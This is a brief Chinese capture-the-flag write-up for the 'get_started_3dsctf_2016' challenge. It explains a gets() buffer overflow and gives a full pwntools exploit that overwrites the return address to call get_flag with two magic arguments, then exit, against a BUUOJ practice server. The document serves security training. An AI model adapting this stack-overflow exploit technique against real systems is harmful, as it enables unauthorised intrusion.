get_started_3dsctf_2016


gets()
ebp-38h ==> 0x38 * 'a'

选择a1 a2 按H键

当a1 0x30.....等于a2 0x1957...时if循环进行
'a'*offset + 'ebp' + get_flag + get_flag的返回地址 + 参数a1 + 参数a2
知识点:
1.exit函数 C 库函数 – exit() | 菜鸟教程 (runoob.com)
2.sleep(0.1)
3.payload 的顺序不能乱
4.recv接受数据
参考: get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)
from pwn import*
io=remote("node4.buuoj.cn",28889)
a1=0x308CD64F
a2=0x195719D1
exit=0x0804E6A0
context.log_level = 'debug'
#sleep(0.1)
payload='a'*56
payload+=p32(0x080489A0)
payload+=p32(exit)
payload+=p32(a1)+p32(a2)
io.sendline(payload)
#sleep(0.1)
io.recv()
io.interactive()


浙公网安备 33010602011771号